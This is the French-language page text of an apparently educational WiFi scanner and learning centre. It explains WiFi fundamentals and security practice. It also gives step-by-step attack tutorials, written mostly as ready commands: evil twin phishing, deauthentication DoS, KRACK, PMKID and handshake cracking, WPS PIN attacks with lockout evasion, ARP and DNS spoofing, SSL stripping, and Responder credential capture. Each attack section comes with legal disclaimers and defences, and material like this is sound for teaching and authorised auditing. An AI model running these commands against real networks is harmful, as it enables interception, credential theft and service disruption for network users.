admin_panel_settings Authentification sudo

Entrez votre mot de passe sudo pour autoriser les outils qui nécessitent des privilèges root.

Scanner WiFi Avancé

Outil d'analyse réseau éducatif

Prêt
wifi
-
Réseaux détectés
lock
-
Sécurisés
lock_open
-
Ouverts / Faibles
cell_tower
-
5 / 6 GHz
speed
-
WiFi 6 / 6E
verified_user
-
WPA3
warning
-
WPS activé
visibility_off
-
Cachés
radar Cliquez sur "Scanner" pour détecter les réseaux WiFi
Lancez un scan pour voir l'analyse des canaux
Lancez un scan pour voir l'analyse de sécurité
Chargement des informations de l'interface...

school Centre d'apprentissage WiFi

📡 Bandes de fréquences

Débutant Fondamental

Le WiFi utilise principalement 3 bandes de fréquences radio :

2.4 GHz (2400-2483.5 MHz)
→ Portée longue (~50m intérieur), 14 canaux de 22 MHz chacun
→ Plus d'interférences (micro-ondes, Bluetooth, zigbee, téléphones DECT)
→ Débit max ~600 Mbps (WiFi 4 HT40 4×4)

5 GHz (5150-5825 MHz)
→ Portée plus courte (~30m), 25+ canaux non-chevauchants
→ Moins d'interférences, canaux DFS (radar météo)
→ Débit max ~3.5 Gbps (WiFi 5 VHT160)

6 GHz (5925-7125 MHz) — WiFi 6E/7 uniquement
→ 59 canaux de 20 MHz, canaux très larges (320 MHz en WiFi 7)
→ Quasi aucune interférence, mais portée encore plus courte

💡 La fréquence plus basse = meilleure pénétration des murs mais moins de débit. C'est le compromis portée/performance.

📺 Canaux et interférences

Débutant Fondamental

Canaux 2.4 GHz : Chaque canal = 22 MHz de large, espacés de 5 MHz seulement → chevauchement massif !
Seuls 1, 6, 11 sont non-chevauchants (Europe: 1, 5, 9, 13).

Interférence co-canal : Deux AP sur le même canal = ils se partagent le temps d'antenne (CSMA/CA). Débit divisé mais fonctionnel.

Interférence de canal adjacent : Deux AP sur canaux chevauchants (ex: 1 et 3) = bruit. Pire que le co-canal ! Le récepteur ne peut pas décoder → retransmissions.

En 5 GHz : Canaux de 20/40/80/160 MHz, tous non-chevauchants. Largeur de canal plus grande = plus de débit mais portée réduite.

DFS (Dynamic Frequency Selection) : Canaux 52-144 partagés avec les radars météo. Le routeur doit détecter le radar et changer de canal si nécessaire.

💡 Astuce : utilisez l'onglet "Canaux" de ce scanner pour trouver le canal le moins encombré.

📊 Force du signal (RSSI) et SNR

Débutant Fondamental

RSSI (Received Signal Strength Indicator) — mesuré en dBm :
-30 dBm → Excellent (collé au routeur)
-50 dBm → Très bon (même pièce)
-60 dBm → Bon (streaming HD, visio)
-67 dBm → Minimum pour VoIP fiable
-70 dBm → Faible (navigation web OK)
-80 dBm → Très faible (déconnexions)
-90 dBm → Inutilisable

SNR (Signal-to-Noise Ratio) = Signal - Bruit.
Ex : signal -60 dBm, bruit -95 dBm → SNR = 35 dB (bon)
→ SNR > 40 dB = excellent | 25-40 = bon | 15-25 = moyen | < 15 = mauvais

Attention : les dBm sont logarithmiques ! -60 est 10× plus fort que -70, et 100× plus fort que -80.

💡 Ce scanner estime aussi la distance en utilisant le modèle FSPL (Free Space Path Loss).

🏷️ SSID, BSSID et trame 802.11

Intermédiaire Fondamental

SSID (Service Set Identifier) : Nom du réseau (max 32 octets). Peut être masqué (hidden SSID), mais toujours visible dans les Probe Requests des clients.

BSSID : Adresse MAC du point d'accès. Format AA:BB:CC:DD:EE:FF.
→ Les 3 premiers octets = OUI (fabricant). Ex: E8:94:F6 = TP-Link
→ Un SSID peut avoir plusieurs BSSID (mesh, répéteurs, dual-band)

Types de trames 802.11 :
Management : Beacon (annonce AP), Probe Req/Resp (recherche), Auth, Deauth, Association
Control : RTS/CTS, ACK
Data : Les données utilisateur chiffrées

Les trames Management ne sont PAS chiffrées en WPA2 (sans 802.11w/PMF), d'où la possibilité d'attaques Deauth.

⚡ Normes WiFi (802.11)

Intermédiaire Fondamental

WiFi 4 (802.11n, 2009) : MIMO 4×4, HT20/HT40, 2.4+5 GHz, ~600 Mbps max
WiFi 5 (802.11ac, 2013) : MU-MIMO DL, VHT80/160, 5 GHz seul, ~3.5 Gbps
WiFi 6 (802.11ax, 2019) : OFDMA, BSS Coloring, 1024-QAM, TWT, ~9.6 Gbps
WiFi 6E (2021) : WiFi 6 + bande 6 GHz
WiFi 7 (802.11be, 2024) : 4096-QAM, MLO (Multi-Link), 320 MHz, ~46 Gbps

Technologies clés :
MIMO : Antennes multiples pour multiplier le débit
OFDMA : Subdiviser un canal en sous-canaux pour servir plusieurs clients simultanément
QAM : Plus de bits par symbole = plus de débit (mais nécessite un meilleur signal)
TWT (Target Wake Time) : Économie de batterie IoT
MLO : Agrégation simultanée 2.4+5+6 GHz

🔐 Évolution du chiffrement WiFi

Intermédiaire Sécurité

WEP (1999) — CASSÉ
→ Clé statique RC4, IV de 24 bits (16M possibilités → réutilisation rapide)
→ CRC32 au lieu de HMAC → permet modification de paquets
→ Cassable en 2-5 minutes avec ~40000 paquets captés

WPA (2003) — OBSOLÈTE
→ TKIP (Temporal Key Integrity Protocol) : clé par paquet + MIC Michael
→ Correctif temporaire pour le matériel WEP existant
→ MIC Michael vulnérable (Beck-Tews attack)

WPA2 (2004) — STANDARD ACTUEL
→ AES-CCMP : chiffrement AES 128 bits + authentification
→ 4-way handshake pour dériver les clés de session
→ Vulnérable si mot de passe faible (attaque dictionnaire offline)
→ KRACK (2017) et attaque PMKID (2018)

WPA3 (2018) — RECOMMANDÉ
→ SAE (Simultaneous Authentication of Equals) : résistant aux attaques offline
→ Forward secrecy : même si le mot de passe fuite, le trafic passé reste protégé
→ 192 bits en mode Enterprise (CNSA suite)
→ PMF (802.11w) obligatoire

🔑 Le 4-Way Handshake WPA2

Intermédiaire Sécurité

Processus d'authentification WPA2-PSK en 4 messages :

1. AP → Client : ANonce (nombre aléatoire de l'AP)
Le client calcule le PTK (Pairwise Transient Key) avec : PMK + ANonce + SNonce + MAC_AP + MAC_Client

2. Client → AP : SNonce + MIC
L'AP calcule aussi le PTK et vérifie le MIC

3. AP → Client : GTK (Group Temporal Key) chiffré + MIC
Clé pour le trafic broadcast/multicast

4. Client → AP : ACK
Installation des clés → communication chiffrée

Hiérarchie des clés :
Mot de passePMK (PBKDF2, 4096 itérations) → PTK → TK + KEK + KCK

💡 C'est ce handshake que les attaquants capturent pour tenter un brute force offline. La lenteur de PBKDF2 est une protection.

🛡️ Bonnes pratiques de sécurité

Débutant Sécurité

Configuration du routeur :
1. ✅ Utiliser WPA3 ou WPA2-AES minimum (jamais TKIP)
2. ✅ Mot de passe fort : >14 caractères, mélange lettres/chiffres/symboles
3. ✅ Désactiver WPS (PIN bruteforcable en 11000 essais)
4. ✅ Activer 802.11w/PMF (Protected Management Frames)
5. ✅ Mettre à jour le firmware régulièrement
6. ✅ Changer le mot de passe admin par défaut
7. ✅ Utiliser un réseau invité isolé pour les visiteurs/IoT
8. ✅ Désactiver UPnP (ouvre des ports automatiquement)
9. ✅ Surveiller les appareils connectés régulièrement
10. ✅ Utiliser DNS chiffré (DoH/DoT)

En tant qu'utilisateur :
→ VPN sur les hotspots publics
→ Oublier les réseaux publics après usage
→ Vérifier HTTPS et les certificats
→ Désactiver la connexion auto aux réseaux ouverts

👿 Evil Twin (Jumeau maléfique)

Intermédiaire Attaque WiFi

Principe : Créer un faux point d'accès identique au légitime pour intercepter le trafic des clients qui s'y connectent.

⚠️ Usage légal uniquement — sur VOS propres réseaux avec autorisation.

Étape 1 — Prérequis :
→ Carte WiFi compatible AP (mode master) — la plupart des cartes le supportent
→ Idéalement 2 interfaces : une pour le rogue AP, une pour le deauth
→ Installer les outils : sudo apt install hostapd dnsmasq aircrack-ng

Étape 2 — Reconnaissance :
→ Scanner les réseaux pour identifier la cible :
sudo airodump-ng wlan0mon
→ Noter le SSID, BSSID, canal, et type de chiffrement de l'AP cible
→ Identifier les clients connectés (colonne STATION)

Étape 3 — Créer le faux AP :
→ Configurer hostapd (/tmp/evil.conf) :
interface=wlan1
ssid=[MÊME_SSID_QUE_LA_CIBLE]
channel=[MÊME_CANAL]
driver=nl80211
→ Lancer : sudo hostapd /tmp/evil.conf
→ Pour un réseau ouvert (captive portal), pas besoin de WPA

Étape 4 — Configurer le réseau :
→ Assigner une IP au faux AP :
sudo ip addr add 192.168.1.1/24 dev wlan1
→ Configurer DHCP avec dnsmasq :
sudo dnsmasq -i wlan1 --dhcp-range=192.168.1.10,192.168.1.50,12h -d
→ Activer le forwarding : echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
→ NAT via iptables : sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Étape 5 — Déauthentifier les clients du vrai AP :
→ Sur la 2ème interface (monitor) :
sudo aireplay-ng -0 0 -a [BSSID_VRAI_AP] wlan0mon
→ Les clients perdent la connexion et se reconnectent au faux AP (signal plus fort)

Étape 6 — Intercepter le trafic :
→ Captive portal (phishing) : rediriger tout HTTP vers une page demandant le mot de passe WiFi
→ Sniffing passif : sudo tcpdump -i wlan1 -w capture.pcap
→ Analyse en temps réel : sudo wireshark -i wlan1 -k

Variantes :
Karma Attack : répondre à toutes les Probe Requests — les appareils cherchant "FreeWiFi" ou "Starbucks" se connectent automatiquement
MANA Attack : version améliorée de Karma avec relay ACL ciblé
Frameworks automatisés : fluxion, wifiphisher, WiFi-Pumpkin

Avec Fluxion (automatisé) :
git clone https://github.com/FluxionNetwork/fluxion.git
cd fluxion && sudo ./fluxion.sh
→ Interface guidée : choix de la cible → deauth → captive portal → récupération du mot de passe

Protection :
WPA3-SAE : impossible de créer un faux AP sans le mot de passe (authentification mutuelle)
802.1X Enterprise : certificats serveur vérifiés côté client
→ Vérifier le BSSID manuellement avant de se connecter
→ Configurer le client pour ne pas se connecter automatiquement aux réseaux ouverts
→ Utiliser un VPN systématiquement sur les hotspots

💀 Deauthentication Attack

Intermédiaire Attaque WiFi

Principe : Les trames de management 802.11 ne sont pas authentifiées en WPA2 (sans PMF). Un attaquant peut forger de fausses trames Deauth pour déconnecter les clients d'un AP.

⚠️ Usage légal uniquement — sur VOS propres réseaux avec autorisation.

Étape 1 — Prérequis matériel :
→ Carte WiFi compatible mode monitor + injection (chipset Atheros ou Realtek)
→ Vérifier la compatibilité : iw list | grep -i monitor
→ Installer aircrack-ng : sudo apt install aircrack-ng

Étape 2 — Passer en mode monitor :
→ Stopper les processus interférents :
sudo airmon-ng check kill
→ Activer le mode monitor :
sudo airmon-ng start wlan0
→ L'interface devient wlan0mon
→ Vérifier : iwconfig wlan0mon (doit afficher "Mode:Monitor")

Étape 3 — Scanner les réseaux :
→ Lancer airodump-ng pour voir tous les AP et clients :
sudo airodump-ng wlan0mon
→ Repérer le BSSID de votre AP cible et son canal (CH)
→ Verrouiller sur un AP spécifique :
sudo airodump-ng -c [CANAL] --bssid [BSSID] wlan0mon
→ La colonne STATION montre les clients connectés

Étape 4 — Envoyer les trames deauth :
Deauth broadcast (tous les clients) :
sudo aireplay-ng -0 5 -a [BSSID] wlan0mon
-0 = mode deauth, 5 = nombre de paquets, -a = BSSID de l'AP

Deauth ciblé (un seul client) :
sudo aireplay-ng -0 5 -a [BSSID] -c [MAC_CLIENT] wlan0mon
-c = adresse MAC du client à déconnecter

Étape 5 — Observer le résultat :
→ Les clients ciblés perdent leur connexion
→ Ils se reconnectent automatiquement (⇒ capture du handshake dans airodump)
→ Si les clients ne se déconnectent pas → l'AP a probablement PMF/802.11w activé ✅

Étape 6 — Restaurer l'interface :
sudo airmon-ng stop wlan0mon
sudo systemctl restart NetworkManager

Options utiles d'aireplay-ng :
-0 0 = deauth continu (DoS — Ctrl+C pour arrêter)
-0 1 = un seul paquet (discret, pour capture handshake)
--deauth-rc = changer le reason code (1=unspecified, 3=leaving, 7=class3)

Alternative avec mdk4 :
sudo mdk4 wlan0mon d -B [BSSID] — deauth plus agressif
sudo mdk4 wlan0mon d -W whitelist.txt — deauth tout sauf whitelist

Protection :
802.11w / PMF (Protected Management Frames) : signe cryptographiquement les trames management
→ WPA3 l'active obligatoirement
→ Sur WPA2, activer PMF dans les paramètres du routeur (souvent "Management Frame Protection")
→ Côté WIDS : détecter les deauths massifs avec kismet ou waidps

🔓 KRACK Attack (Key Reinstallation)

Avancé Attaque WiFi

CVE-2017-13077 — Découverte par Mathy Vanhoef (2017)

Principe : Exploiter le 4-way handshake WPA2 pour forcer la réinstallation d'une clé déjà utilisée, réinitialisant le compteur de nonce → déchiffrement et injection possibles.

⚠️ Usage légal uniquement — recherche et audit autorisé.

Étape 1 — Prérequis :
→ Carte WiFi compatible monitor + injection
→ Position Man-in-the-Middle entre le client et l'AP (même canal)
→ Installer les outils :
sudo apt install python3-scapy hostapd
git clone https://github.com/vanhoefm/krackattacks-scripts.git

Étape 2 — Comprendre le mécanisme :
→ Le 4-way handshake échange 4 messages entre client et AP
→ Le message 3 installe la clé PTK (Pairwise Transient Key) sur le client
→ Si le message 4 (ACK) n'arrive pas, l'AP retransmet le message 3
→ Le client réinstalle la même clé et remet le nonce à zéro
→ Même clé + même nonce = keystream réutilisé → déchiffrable

Étape 3 — Mise en place du MitM :
→ Créer un AP cloné sur un canal différent :
→ Le script krackattack utilise un CSA (Channel Switch Announcement) pour forcer le client à changer de canal vers le faux AP
→ L'attaquant relaie les messages entre le vrai AP et le client

Étape 4 — Bloquer et rejouer :
→ Intercepter le message 3 du handshake
→ Bloquer le message 4 (ACK) du client vers l'AP
→ L'AP ne reçoit pas l'ACK → retransmet le message 3
→ Le client réinstalle la clé PTK avec le nonce remis à zéro

Étape 5 — Exploiter :
→ Les paquets chiffrés avec le même nonce sont XOR-déchiffrables
→ Sur Linux/Android (wpa_supplicant 2.4-2.6) : la clé est forcée à zéro → tout le trafic est en clair
→ Injection de données possible (ex: injecter du JavaScript dans une page HTTP)

Étape 6 — Tester avec les scripts officiels :
cd krackattacks-scripts
sudo python3 krack-test-client.py
→ Le script teste si le client est vulnérable sans exploiter réellement
→ Rapporte : "VULNERABLE" ou "NOT VULNERABLE" pour chaque variante

Variantes de KRACK :
Group Key Reinstallation : cible le Group Key Handshake (GTK) → déchiffrement broadcast/multicast
FT Handshake (802.11r) : Fast BSS Transition vulnérable au même principe
PeerKey/TDLS : réinstallation de clé dans les connexions directes entre clients

Protection :
Mettre à jour TOUS les appareils (clients ET AP) — patches disponibles depuis fin 2017
→ Les patchs empêchent la réinstallation de clé déjà utilisée
→ Vérifier : wpa_supplicant -v → version > 2.7 = patché
→ WPA3 n'est pas vulnérable (protocole SAE différent)
→ HTTPS/TLS protège le contenu même si le WiFi est déchiffré

🎯 PMKID Attack

Avancé Attaque WiFi

Découverte par Jens "atom" Steube (2018, créateur de hashcat).

Avantage majeur : N'a PAS besoin d'un client connecté ni de capturer un handshake complet. Un seul paquet suffit.

⚠️ Usage légal uniquement — sur VOS propres réseaux avec autorisation.

Étape 1 — Prérequis :
→ Carte WiFi compatible monitor
→ Installer les outils :
sudo apt install hcxdumptool hcxtools hashcat
→ Ou depuis les sources (versions récentes) :
git clone https://github.com/ZerBea/hcxdumptool.git && cd hcxdumptool && make && sudo make install
git clone https://github.com/ZerBea/hcxtools.git && cd hcxtools && make && sudo make install

Étape 2 — Comprendre le PMKID :
→ Quand un client s'associe à un AP, celui-ci envoie un PMKID dans le 1er message EAPOL
→ Formule : PMKID = HMAC-SHA1-128(PMK, "PMK Name" || MAC_AP || MAC_STA)
→ Le PMK est dérivé du mot de passe WiFi via PBKDF2
→ Si on devine le mot de passe, on peut recalculer le PMKID et vérifier s'il correspond

Étape 3 — Passer en mode monitor :
sudo airmon-ng check kill
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

Étape 4 — Capturer le PMKID :
→ Capture ciblée sur un BSSID (méthode recommandée) :
→ Créer un filtre : echo [BSSID_SANS_DEUX_POINTS] > /tmp/filter.txt
sudo hcxdumptool -i wlan0 -o capture.pcapng --filterlist_ap=/tmp/filter.txt --filtermode=2
→ Attendre le message "FOUND PMKID" (quelques secondes à minutes)
→ Ctrl+C une fois le PMKID capturé

→ Capture large (tous les AP) :
sudo hcxdumptool -i wlan0 -o capture.pcapng --active_beacon --enable_status=15
→ Laissez tourner 5-10 minutes puis Ctrl+C

Étape 5 — Convertir la capture pour hashcat :
hcxpcapngtool capture.pcapng -o hash.22000
→ Vérifie le contenu : cat hash.22000 | head -5
→ Chaque ligne = un PMKID ou handshake exploitable
→ Format : TYPE*PMKID/MIC*MAC_AP*MAC_STA*ESSID_HEX*...

Étape 6 — Cracking avec hashcat :
→ Attaque par dictionnaire :
hashcat -m 22000 hash.22000 /usr/share/wordlists/rockyou.txt
→ Avec règles de transformation :
hashcat -m 22000 hash.22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rule
→ Attaque par masque (brute force partiel) :
hashcat -m 22000 hash.22000 -a 3 ?d?d?d?d?d?d?d?d (8 chiffres)
→ Combinaison dictionnaire + masque :
hashcat -m 22000 hash.22000 -a 6 wordlist.txt ?d?d?d?d

Vitesses indicatives (GPU) :
→ RTX 3080 : ~700 000 hash/s
→ RTX 4090 : ~1 400 000 hash/s
→ RTX 3080 + rockyou.txt (14M mots) : ~20 secondes

Alternative avec john :
john --format=wpapsk-opencl hash.22000 --wordlist=rockyou.txt

Protection :
Mot de passe fort (>14 caractères aléatoires, mélange lettres/chiffres/symboles) → brute force impossible
WPA3-SAE : pas de PMKID échangé (authentification différente)
→ Désactiver le fast roaming (802.11r) si non nécessaire
→ Éviter les mots de passe basés sur des mots du dictionnaire, même avec substitutions (P@ssw0rd)

📡 WPS Pin Attack

Intermédiaire Attaque WiFi

WPS (WiFi Protected Setup) : mécanisme de connexion simplifiée par bouton ou code PIN de 8 chiffres.

⚠️ Usage légal uniquement — sur VOS propres réseaux avec autorisation.

Étape 1 — Prérequis :
→ Carte WiFi compatible monitor + injection
→ Installer les outils :
sudo apt install reaver bully pixiewps wash aircrack-ng
→ Passer en mode monitor :
sudo airmon-ng check kill
sudo airmon-ng start wlan0

Étape 2 — Détecter les AP avec WPS activé :
sudo wash -i wlan0mon
→ Affiche : BSSID, canal, RSSI, version WPS, état Locked/Unlocked
→ Colonnes importantes :
Lck = No (non verrouillé — vulnérable) / Yes (verrouillé après trop d'essais)
DPSK = Yes (certaines implémentations sont vulnérables au Pixie Dust)

Étape 3 — Comprendre la faille du PIN :
→ PIN de 8 chiffres, mais le 8e est un checksum (calculable)
→ Le protocole EAP-WSC valide la 1ère moitié (4 chiffres = 10 000 possibilités) AVANT la 2ème
→ 2ème moitié = 3 chiffres effectifs (le 8e est un checksum) = 1 000 possibilités
→ Total : 11 000 essais max au lieu de 100 000 000

Étape 4a — Attaque Pixie Dust (offline, quelques secondes) :
→ Exploite les PRNG faibles de certains chipsets (Ralink, Broadcom, Realtek)
→ Avec reaver :
sudo reaver -i wlan0mon -b [BSSID] -c [CANAL] -K
-K active le mode Pixie Dust (utilise pixiewps en interne)
→ Résultat en 0-30 secondes si vulnérable

→ Avec bully (alternative, parfois plus fiable) :
sudo bully wlan0mon -b [BSSID] -c [CANAL] -d -v 3
-d active Pixie Dust, -v 3 mode verbeux

Étape 4b — Brute force online (4-10 heures) :
→ Si Pixie Dust ne fonctionne pas, brute force classique :
sudo reaver -i wlan0mon -b [BSSID] -c [CANAL] -vv -N -d 1 -r 3:15
-vv très verbeux, -N pas de NACK, -d 1 délai 1s entre essais
-r 3:15 = pause de 15s toutes les 3 tentatives (contourne certains locks)
→ Progression sauvegardée automatiquement (reprise en cas d'arrêt)

Étape 5 — Récupérer le mot de passe :
→ Une fois le PIN trouvé, reaver récupère automatiquement le mot de passe WPA :
[+] WPS PIN: '12345670'
[+] WPA PSK: 'MonMotDePasse123'
→ Si besoin de réutiliser un PIN connu :
sudo reaver -i wlan0mon -b [BSSID] -c [CANAL] -p [PIN]

Contournement du verrouillage WPS :
→ Certains routeurs se verrouillent après 3-10 échecs
→ Délai long : -d 60 -r 1:120 (1 essai, pause 2 min)
→ Spoof MAC entre les tentatives : macchanger -r wlan0mon
→ Certains routeurs reset le lock après un reboot
→ mdk4 peut forcer un reboot : sudo mdk4 wlan0mon a -a [BSSID] (auth DoS)

Protection :
Désactiver WPS complètement dans l'interface admin du routeur
→ Vérifier après chaque reboot (certains routeurs le réactivent)
→ Si impossible de désactiver : activer le verrouillage WPS (lock après N échecs)
→ Vérifier avec wash que WPS n'est plus annoncé dans les beacons

🕵️ Attaques Man-in-the-Middle WiFi

Avancé Attaque WiFi

Principe : Se placer entre la victime et le routeur pour intercepter, lire ou modifier tout le trafic réseau en transit.

⚠️ Usage légal uniquement — sur VOS propres réseaux avec autorisation.

━━━ Technique 1 : ARP Spoofing ━━━

Étape 1 — Prérequis :
→ Être connecté au même réseau WiFi que la cible
→ Installer : sudo apt install arpspoof dsniff ettercap-text-only wireshark
→ Ou utiliser bettercap (framework tout-en-un) :
sudo apt install bettercap

Étape 2 — Reconnaissance du réseau :
→ Trouver la passerelle : ip route | grep default → ex: 192.168.1.1
→ Scanner les hôtes : sudo nmap -sn 192.168.1.0/24
→ Identifier la cible (IP + MAC) : arp -a

Étape 3 — Activer le forwarding :
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
→ Sans ça, les paquets relayés seraient bloqués et la cible perdrait sa connexion

Étape 4 — Lancer l'ARP spoof :
→ Avec arpspoof (2 terminaux) :
sudo arpspoof -i wlan0 -t [IP_CIBLE] [IP_ROUTEUR] (terminal 1)
sudo arpspoof -i wlan0 -t [IP_ROUTEUR] [IP_CIBLE] (terminal 2)
→ La cible pense que votre MAC = MAC du routeur, et vice-versa

→ Avec bettercap (un seul terminal) :
sudo bettercap -iface wlan0
» net.probe on (découvrir les hôtes)
» set arp.spoof.targets [IP_CIBLE]
» arp.spoof on

Étape 5 — Capturer le trafic :
sudo tcpdump -i wlan0 -w mitm_capture.pcap host [IP_CIBLE]
→ Ou en live : sudo wireshark -i wlan0 -k -f "host [IP_CIBLE]"
→ Filtres Wireshark utiles : http, dns, tcp.port == 80

━━━ Technique 2 : SSL Stripping ━━━

Étape 1 — Après avoir établi le MitM (ARP spoof actif) :
→ Rediriger le trafic HTTP dans sslstrip :
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

Étape 2 — Lancer sslstrip :
sudo sslstrip -l 8080 -w sslstrip.log
→ Intercepte les redirections HTTP→HTTPS et les downgrade en HTTP
→ La victime communique en HTTP avec l'attaquant, l'attaquant en HTTPS avec le serveur

Étape 3 — Avec bettercap (plus moderne) :
» set http.proxy.sslstrip true
» http.proxy on
→ Note : HSTS et les navigateurs modernes bloquent largement cette technique

━━━ Technique 3 : DNS Spoofing ━━━

Étape 1 — Avec bettercap (MitM actif) :
» set dns.spoof.domains google.com,facebook.com
» set dns.spoof.address [VOTRE_IP]
» dns.spoof on
→ Les requêtes DNS pour ces domaines retournent votre IP

Étape 2 — Héberger la page de phishing :
→ Serveur web local sur votre machine :
sudo python3 -m http.server 80
→ Ou avec un clone de page : httrack https://site-cible.com
→ La victime tape google.com → arrive sur votre serveur

━━━ Technique 4 : WPAD Hijacking ━━━

Fonctionnement :
→ Windows/IE cherche automatiquement http://wpad/wpad.dat pour la config proxy
→ L'attaquant répond à cette requête (via DNS spoof ou Responder) :
sudo responder -I wlan0 -wrf
→ Tout le trafic HTTP de la victime passe par le proxy de l'attaquant
→ Capture des credentials NTLM en bonus

━━━ Technique 5 : Bettercap tout-en-un ━━━

Script automatisé (caplet) :
→ Créer mitm.cap :
net.probe on
set arp.spoof.targets [IP_CIBLE]
arp.spoof on
set net.sniff.local true
net.sniff on
→ Lancer : sudo bettercap -iface wlan0 -caplet mitm.cap
→ Bettercap capture automatiquement : URLs visitées, cookies, credentials en clair, images

Protection contre les attaques MitM :
VPN : chiffre tout le trafic entre vous et le serveur VPN
HTTPS partout : extension navigateur HTTPS Everywhere / mode HTTPS-Only
HSTS : empêche le downgrade HTTPS→HTTP (côté serveur)
DNS chiffré : DoH (DNS over HTTPS) ou DoT (DNS over TLS) — empêche le DNS spoofing
Vérifier les certificats : ne jamais ignorer les avertissements de certificat
Désactiver WPAD : Paramètres proxy → Détection automatique → Off
ARP statique : arp -s [IP_ROUTEUR] [MAC_ROUTEUR] (temporaire, par session)
802.1X : authentification par port sur les réseaux Enterprise
→ Détection : arpwatch surveille les changements de correspondance IP-MAC

🛠️ Outils d'analyse WiFi Linux

Débutant Outils

Scan et monitoring :
nmcli device wifi list — Lister les réseaux
iw dev wlan0 scan — Scan détaillé avec iw
iwconfig wlan0 — Configuration interface
iw dev wlan0 info — Infos de l'interface
iw phy phy0 info — Capacités matérielles
wavemon — Moniteur temps réel (ncurses)
horst — Analyseur radio WiFi

Diagnostic :
iw dev wlan0 station dump — Stats de connexion
iw event -f — Événements WiFi en temps réel
rfkill list — État des radios
lspci -vv | grep -i wireless — Matériel WiFi

🔧 Suite Aircrack-ng

Intermédiaire Outils

La boîte à outils de référence pour l'audit WiFi :

airmon-ng start wlan0 — Passer en mode monitor
airodump-ng wlan0mon — Scanner (voir tous les AP et clients)
airodump-ng -c 6 --bssid XX:XX -w capture wlan0mon — Capturer un réseau spécifique
aireplay-ng -0 5 -a [BSSID] wlan0mon — Deauth (forcer un handshake)
aircrack-ng -w wordlist.txt capture.cap — Cracker le mot de passe

Autres outils de la suite :
airdecap-ng : Déchiffrer un pcap avec la clé
airtun-ng : Tunnel virtuel pour injection
airbase-ng : Créer un soft-AP
packetforge-ng : Forger des paquets

⚠ À utiliser uniquement sur VOS propres réseaux ou avec autorisation écrite.

🐉 Outils avancés

Avancé Outils

Capture & cracking :
hcxdumptool + hcxtools : Capture PMKID et handshakes (remplace aircrack pour WPA)
hashcat : GPU cracking (modes 22000/22001 pour WPA)
john : Alternative CPU à hashcat

Frameworks :
Wifite2 : Automatisation d'audit WiFi
Fluxion : Evil Twin + captive portal
Bettercap : MITM framework tout-en-un
WiFi-Pumpkin : Rogue AP framework

Analyse :
Wireshark : Analyse de paquets (supporte le déchiffrement WPA)
tshark : Version CLI de Wireshark
Kismet : Détection d'intrusion WiFi
Scapy : Bibliothèque Python pour forger/analyser des paquets

🐧 Distributions spécialisées

Intermédiaire Outils

Kali Linux — La référence pour le pentest
→ Tous les outils WiFi préinstallés
→ Supporte le boot USB, VM, WSL2, conteneur Docker
sudo apt install kali-tools-wireless

Parrot Security — Alternative à Kali, plus légère
→ Orienté vie privée + pentest
→ Bonne alternative pour les machines moins puissantes

WiFiSlax — Spécialisé WiFi
→ Distribution basée sur Slackware, focus audit WiFi
→ Inclut des outils spécifiques non présents dans Kali

Matériel recommandé :
→ Carte WiFi avec chipset Atheros AR9271 (Alfa AWUS036NHA) — monitor + injection
Realtek RTL8812AU (Alfa AWUS036ACH) — 5 GHz + monitor
MediaTek MT7612U (Alfa AWUS036ACM) — support natif Linux moderne

🎯 Lab pratique : Scanner les réseaux

Débutant Exercice

Exercice 1 : Utilisez ce scanner pour identifier tous les réseaux autour de vous. Notez :
→ Combien utilisent 2.4 GHz vs 5 GHz ?
→ Quel canal 2.4 GHz est le plus encombré ?
→ Combien de réseaux sont ouverts ou en WEP ?

Exercice 2 : En terminal :
sudo iw dev wlan0 scan | grep -E "SSID|signal|freq" | head -30
→ Comparez les résultats avec ceux de nmcli

Exercice 3 : Identifiez votre routeur et vérifiez :
→ Le chiffrement est-il WPA2-AES ou WPA2-TKIP ?
→ Le WPS est-il activé ?
→ Le 802.11w (PMF) est-il activé ?

💡 Utilisez l'onglet Sécurité pour comprendre les vulnérabilités de chaque réseau.

🎯 Lab pratique : Mode monitor

Intermédiaire Exercice

Prérequis : Carte WiFi compatible monitor (chipset Atheros ou Realtek)

Étapes :
1. Vérifier la compatibilité :
iw list | grep -i monitor

2. Passer en mode monitor :
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

3. Capturer des trames :
sudo tcpdump -i wlan0 -w capture.pcap -c 1000

4. Analyser dans Wireshark :
wireshark capture.pcap
→ Filtrer : wlan.fc.type == 0 (trames management)
→ Observer les Beacons, Probe Requests, Deauth

5. Revenir au mode managed :
sudo ip link set wlan0 down
sudo iw dev wlan0 set type managed
sudo ip link set wlan0 up

🎯 Lab pratique : Auditer votre propre réseau

Avancé Exercice

⚠ Sur VOTRE réseau uniquement !

Test 1 — Force du mot de passe :
Capturer le handshake de votre AP et tester avec un dictionnaire :
sudo airodump-ng -c [CH] --bssid [BSSID] -w test wlan0mon
sudo aireplay-ng -0 2 -a [BSSID] wlan0mon (depuis un autre terminal)
aircrack-ng -w /usr/share/wordlists/rockyou.txt test-01.cap
→ Si le mot de passe est trouvé, il est trop faible !

Test 2 — WPS :
wash -i wlan0mon — Lister les AP avec WPS activé
reaver -i wlan0mon -b [BSSID] -K — Pixie Dust

Test 3 — Résistance au deauth :
sudo aireplay-ng -0 5 -a [BSSID] wlan0mon
→ Si vos appareils se déconnectent, activez 802.11w/PMF.

📖 Formations et certifications

Tous niveaux Parcours

Débutant :
TryHackMe — Parcours "WiFi Hacking 101" (gratuit, interactif)
NetworkChuck (YouTube) — Vidéos WiFi hacking accessibles
David Bombal (YouTube) — Cours réseau et WiFi

Intermédiaire :
HackTheBox Academy — Module "Attacking WiFi Networks"
Cybrary — CompTIA Security+ (couvre WiFi)
INE/eLearnSecurity — eWPT (Web) inclut WiFi

Avancé / Certifications :
OSWP (OffSec Wireless Professional) — La certification de référence
CEH (Certified Ethical Hacker) — Module WiFi
GAWN (GIAC Assessing Wireless Networks) — SANS

💡 Commencez par TryHackMe, c'est gratuit et guidé étape par étape.

📚 Livres et documentation

Intermédiaire Lecture

Livres :
"Real-World Bug Bounty" — Jason Haddix (inclut WiFi)
"Kali Linux Revealed" — Raphaël Hertzog (gratuit en PDF)
